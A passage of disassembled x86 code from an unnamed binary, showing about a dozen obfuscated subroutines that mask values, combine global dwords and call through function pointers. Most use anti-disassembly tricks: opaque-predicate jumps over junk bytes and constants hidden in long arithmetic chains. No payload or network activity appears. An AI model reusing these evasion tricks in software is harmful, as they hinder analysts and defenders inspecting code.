loc_49E90B:				; CODE XREF: sub_49E8B3+4Dj
		jmp	short loc_49E904
; ---------------------------------------------------------------------------


loc_49E90D:				; CODE XREF: sub_49E8B3+43j
					; sub_49E8B3:loc_49E904j
		not	eax
		add	eax, 1
		clc


loc_49E913:				; CODE XREF: sub_49E8B3+4Bj
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49E922
		jl	short loc_49E920


loc_49E91B:				; CODE XREF: sub_49E8B3:loc_49E920j
					; sub_49E8B3:loc_49E922j
		jmp	short loc_49E924
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E920:				; CODE XREF: sub_49E8B3+66j
		jz	short loc_49E91B


loc_49E922:				; CODE XREF: sub_49E8B3+64j
		jmp	short loc_49E91B
; ---------------------------------------------------------------------------


loc_49E924:				; CODE XREF: sub_49E8B3:loc_49E91Bj
		inc	eax
		dec	eax
		jo	short loc_49E931
		jl	short loc_49E92F


loc_49E92A:				; CODE XREF: sub_49E8B3:loc_49E92Fj
					; sub_49E8B3:loc_49E931j
		jmp	short loc_49E933
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E92F:				; CODE XREF: sub_49E8B3+75j
		jz	short loc_49E92A


loc_49E931:				; CODE XREF: sub_49E8B3+73j
		jmp	short loc_49E92A
; ---------------------------------------------------------------------------


loc_49E933:				; CODE XREF: sub_49E8B3:loc_49E92Aj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49E942
		jl	short loc_49E940


loc_49E93B:				; CODE XREF: sub_49E8B3:loc_49E940j
					; sub_49E8B3:loc_49E942j
		jmp	short loc_49E944
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E940:				; CODE XREF: sub_49E8B3+86j
		jz	short loc_49E93B


loc_49E942:				; CODE XREF: sub_49E8B3+84j
		jmp	short loc_49E93B
; ---------------------------------------------------------------------------


loc_49E944:				; CODE XREF: sub_49E8B3:loc_49E93Bj
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E968
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E968:				; CODE XREF: sub_49E8B3+AAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E8B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E97C	proc near		; DATA XREF: sub_4965D8+49Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0D00h
		pop	ebx
		jo	short loc_49E9B2
		jl	short loc_49E9B0


loc_49E9AB:				; CODE XREF: sub_49E97C:loc_49E9B0j
					; sub_49E97C:loc_49E9B2j
		jmp	short loc_49E9B4
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E9B0:				; CODE XREF: sub_49E97C+2Dj
		jz	short loc_49E9AB


loc_49E9B2:				; CODE XREF: sub_49E97C+2Bj
		jmp	short loc_49E9AB
; ---------------------------------------------------------------------------


loc_49E9B4:				; CODE XREF: sub_49E97C:loc_49E9ABj
		sub	bh, 5
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 41h
		dec	bh
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 28h
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 1Bh
		dec	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		jo	short loc_49E9F8
		jl	short loc_49E9F6


loc_49E9F1:				; CODE XREF: sub_49E97C:loc_49E9F6j
					; sub_49E97C:loc_49E9F8j
		jmp	short loc_49E9FA
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E9F6:				; CODE XREF: sub_49E97C+73j
		jz	short loc_49E9F1


loc_49E9F8:				; CODE XREF: sub_49E97C+71j
		jmp	short loc_49E9F1
; ---------------------------------------------------------------------------


loc_49E9FA:				; CODE XREF: sub_49E97C:loc_49E9F1j
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49EA26
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49EA26:				; CODE XREF: sub_49E97C+9Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E97C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EA3A	proc near		; DATA XREF: sub_4965D8+130Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		jo	short loc_49EA6F
		jl	short loc_49EA6D


loc_49EA6A:				; CODE XREF: sub_49EA3A:loc_49EA6Dj
					; sub_49EA3A:loc_49EA6Fj
		jmp	short loc_49EA71
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49EA6D:				; CODE XREF: sub_49EA3A+2Ej
		jz	short loc_49EA6A


loc_49EA6F:				; CODE XREF: sub_49EA3A+2Cj
		jmp	short loc_49EA6A
; ---------------------------------------------------------------------------


loc_49EA71:				; CODE XREF: sub_49EA3A:loc_49EA6Aj
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_49EAAD
		jl	short loc_49EAAB


loc_49EAA8:				; CODE XREF: sub_49EA3A:loc_49EAABj
					; sub_49EA3A:loc_49EAADj
		jmp	short loc_49EAAF
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49EAAB:				; CODE XREF: sub_49EA3A+6Cj
		jz	short loc_49EAA8


loc_49EAAD:				; CODE XREF: sub_49EA3A+6Aj
		jmp	short loc_49EAA8
; ---------------------------------------------------------------------------


loc_49EAAF:				; CODE XREF: sub_49EA3A:loc_49EAA8j
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_49EB8C
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_49EB77
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49EB7D
; ---------------------------------------------------------------------------


loc_49EB77:				; CODE XREF: sub_49EA3A+133j
		not	eax
		add	eax, 1
		clc


loc_49EB7D:				; CODE XREF: sub_49EA3A+13Bj
		sbb	eax, eax
		add	eax, 1
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49EB8C
		and	eax, 0
		jmp	short loc_49EB90
; ---------------------------------------------------------------------------


loc_49EB8C:				; CODE XREF: sub_49EA3A+A6j
					; sub_49EA3A+14Bj
		and	eax, 0
		inc	eax


loc_49EB90:				; CODE XREF: sub_49EA3A+150j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F8
		xor	ecx, dword_4ED3FC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49EBB3
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49EBB3:				; CODE XREF: sub_49EA3A+16Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D50
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49EA3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EBC7	proc near		; DATA XREF: sub_4965D8+90Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		dec	dh
		sub	dh, 0FFh
		sub	dh, 1
		sub	dh, 1
		dec	dh
		and	ah, dh
		mov	edx, 800h
		mov	dl, 0Fh
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		and	al, dl
		not	ah
		not	ah
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49EC55
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49EC55:				; CODE XREF: sub_49EBC7+83j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49EBC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EC69	proc near		; DATA XREF: sub_4965D8+1323o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49EC8E
		jl	short loc_49EC8C


loc_49EC89:				; CODE XREF: sub_49EC69:loc_49EC8Cj
					; sub_49EC69:loc_49EC8Ej
		jmp	short loc_49EC90
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49EC8C:				; CODE XREF: sub_49EC69+1Ej
		jz	short loc_49EC89


loc_49EC8E:				; CODE XREF: sub_49EC69+1Cj
		jmp	short loc_49EC89
; ---------------------------------------------------------------------------


loc_49EC90:				; CODE XREF: sub_49EC69:loc_49EC89j
		push	edx
		jo	short loc_49EC9A
		jl	short loc_49EC98


loc_49EC95:				; CODE XREF: sub_49EC69:loc_49EC98j
					; sub_49EC69:loc_49EC9Aj
		jmp	short loc_49EC9C
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49EC98:				; CODE XREF: sub_49EC69+2Aj
		jz	short loc_49EC95


loc_49EC9A:				; CODE XREF: sub_49EC69+28j
		jmp	short loc_49EC95
; ---------------------------------------------------------------------------


loc_49EC9C:				; CODE XREF: sub_49EC69:loc_49EC95j
		mov	dh, 6
		jo	short loc_49ECA7
		jl	short loc_49ECA5


loc_49ECA2:				; CODE XREF: sub_49EC69:loc_49ECA5j
					; sub_49EC69:loc_49ECA7j
		jmp	short loc_49ECA9
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49ECA5:				; CODE XREF: sub_49EC69+37j
		jz	short loc_49ECA2


loc_49ECA7:				; CODE XREF: sub_49EC69+35j
		jmp	short loc_49ECA2
; ---------------------------------------------------------------------------


loc_49ECA9:				; CODE XREF: sub_49EC69:loc_49ECA2j
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 2
		dec	dl
		and	al, dl
		not	ah
		not	ah
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49ECE5
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49ECE5:				; CODE XREF: sub_49EC69+71j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49EC69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49ECF9	proc near		; DATA XREF: sub_4965D8+459o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49ED1E
		jl	short loc_49ED1C


loc_49ED19:				; CODE XREF: sub_49ECF9:loc_49ED1Cj
					; sub_49ECF9:loc_49ED1Ej
		jmp	short loc_49ED20
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49ED1C:				; CODE XREF: sub_49ECF9+1Ej
		jz	short loc_49ED19


loc_49ED1E:				; CODE XREF: sub_49ECF9+1Cj
		jmp	short loc_49ED19
; ---------------------------------------------------------------------------


loc_49ED20:				; CODE XREF: sub_49ECF9:loc_49ED19j
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_49ED74
		jl	short loc_49ED72


loc_49ED6F:				; CODE XREF: sub_49ECF9:loc_49ED72j
					; sub_49ECF9:loc_49ED74j
		jmp	short loc_49ED76
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49ED72:				; CODE XREF: sub_49ECF9+74j
		jz	short loc_49ED6F


loc_49ED74:				; CODE XREF: sub_49ECF9+72j
		jmp	short loc_49ED6F
; ---------------------------------------------------------------------------


loc_49ED76:				; CODE XREF: sub_49ECF9:loc_49ED6Fj
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49EDCF
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49EDCF:				; CODE XREF: sub_49ECF9+CBj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49ECF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EDE3	proc near		; DATA XREF: sub_4965D8+D61o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Eh
		pop	ebx
		sub	bl, 6
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 80h
		dec	bl
		sub	bl, 2
		dec	bl
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2400h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 16h
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49EE64
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49EE64:				; CODE XREF: sub_49EDE3+76j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49EDE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EE78	proc near		; DATA XREF: sub_4965D8+160Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49EEAB
		jl	short loc_49EEA9


loc_49EEA4:				; CODE XREF: sub_49EE78:loc_49EEA9j
					; sub_49EE78:loc_49EEABj
		jmp	short loc_49EEAD
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49EEA9:				; CODE XREF: sub_49EE78+2Aj
		jz	short loc_49EEA4


loc_49EEAB:				; CODE XREF: sub_49EE78+28j
		jmp	short loc_49EEA4
; ---------------------------------------------------------------------------


loc_49EEAD:				; CODE XREF: sub_49EE78:loc_49EEA4j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_49EEC2
		jl	short loc_49EEC0


loc_49EEBB:				; CODE XREF: sub_49EE78:loc_49EEC0j
					; sub_49EE78:loc_49EEC2j
		jmp	short loc_49EEC4
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49EEC0:				; CODE XREF: sub_49EE78+41j
		jz	short loc_49EEBB


loc_49EEC2:				; CODE XREF: sub_49EE78+3Fj
		jmp	short loc_49EEBB
; ---------------------------------------------------------------------------


loc_49EEC4:				; CODE XREF: sub_49EE78:loc_49EEBBj
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49EEF8
		jl	short loc_49EEF6


loc_49EEF1:				; CODE XREF: sub_49EE78:loc_49EEF6j
					; sub_49EE78:loc_49EEF8j
		jmp	short loc_49EEFA
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49EEF6:				; CODE XREF: sub_49EE78+77j
		jz	short loc_49EEF1


loc_49EEF8:				; CODE XREF: sub_49EE78+75j
		jmp	short loc_49EEF1
; ---------------------------------------------------------------------------


loc_49EEFA:				; CODE XREF: sub_49EE78:loc_49EEF1j
		inc	eax
		dec	eax
		jo	short loc_49EF07
		jl	short loc_49EF05


loc_49EF00:				; CODE XREF: sub_49EE78:loc_49EF05j
					; sub_49EE78:loc_49EF07j
		jmp	short loc_49EF09
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49EF05:				; CODE XREF: sub_49EE78+86j
		jz	short loc_49EF00


loc_49EF07:				; CODE XREF: sub_49EE78+84j
		jmp	short loc_49EF00
; ---------------------------------------------------------------------------


loc_49EF09:				; CODE XREF: sub_49EE78:loc_49EF00j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49EF16
		jl	short loc_49EF14


loc_49EF11:				; CODE XREF: sub_49EE78:loc_49EF14j
					; sub_49EE78:loc_49EF16j
		jmp	short loc_49EF18
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49EF14:				; CODE XREF: sub_49EE78+97j
		jz	short loc_49EF11


loc_49EF16:				; CODE XREF: sub_49EE78+95j
		jmp	short loc_49EF11
; ---------------------------------------------------------------------------


loc_49EF18:				; CODE XREF: sub_49EE78:loc_49EF11j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49EF3C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49EF3C:				; CODE XREF: sub_49EE78+B9j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49EE78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EF50	proc near		; DATA XREF: sub_4965D8+9EDo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D78
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_49EF79
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_49EF79:				; CODE XREF: sub_49EF50+22j
		mov	ebx, 32h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED3AC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49EFC4
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49EFC4:				; CODE XREF: sub_49EF50+69j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D00
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49EF50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EFD8	proc near		; DATA XREF: sub_4965D8+1625o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D98
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C8
		xor	ecx, dword_4ED3CC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49F06D
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49F06D:				; CODE XREF: sub_49EFD8+8Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49EFD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49F081	proc near		; DATA XREF: sub_4965D8+239o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D84
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 0Eh
		sub	dl, 0FFh
		jo	short loc_49F0B4
		jl	short loc_49F0B2


loc_49F0AF:				; CODE XREF: sub_49F081:loc_49F0B2j
					; sub_49F081:loc_49F0B4j
		jmp	short loc_49F0B6
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49F0B2:				; CODE XREF: sub_49F081+2Cj
		jz	short loc_49F0AF


loc_49F0B4:				; CODE XREF: sub_49F081+2Aj
		jmp	short loc_49F0AF
; ---------------------------------------------------------------------------


loc_49F0B6:				; CODE XREF: sub_49F081:loc_49F0AFj
		sub	dl, 0FEh
		dec	dl
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		jo	short loc_49F0D5
		jl	short loc_49F0D3


loc_49F0D0:				; CODE XREF: sub_49F081:loc_49F0D3j
					; sub_49F081:loc_49F0D5j
		jmp	short loc_49F0D7
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49F0D3:				; CODE XREF: sub_49F081+4Dj
		jz	short loc_49F0D0


loc_49F0D5:				; CODE XREF: sub_49F081+4Bj
		jmp	short loc_49F0D0
; ---------------------------------------------------------------------------


loc_49F0D7:				; CODE XREF: sub_49F081:loc_49F0D0j
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		inc	dl
		jo	short loc_49F0F2
		jl	short loc_49F0F0


loc_49F0ED:				; CODE XREF: sub_49F081:loc_49F0F0j
					; sub_49F081:loc_49F0F2j
		jmp	short loc_49F0F4
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_49F0F0:				; CODE XREF: sub_49F081+6Aj
		jz	short loc_49F0ED


loc_49F0F2:				; CODE XREF: sub_49F081+68j
		jmp	short loc_49F0ED
; ---------------------------------------------------------------------------


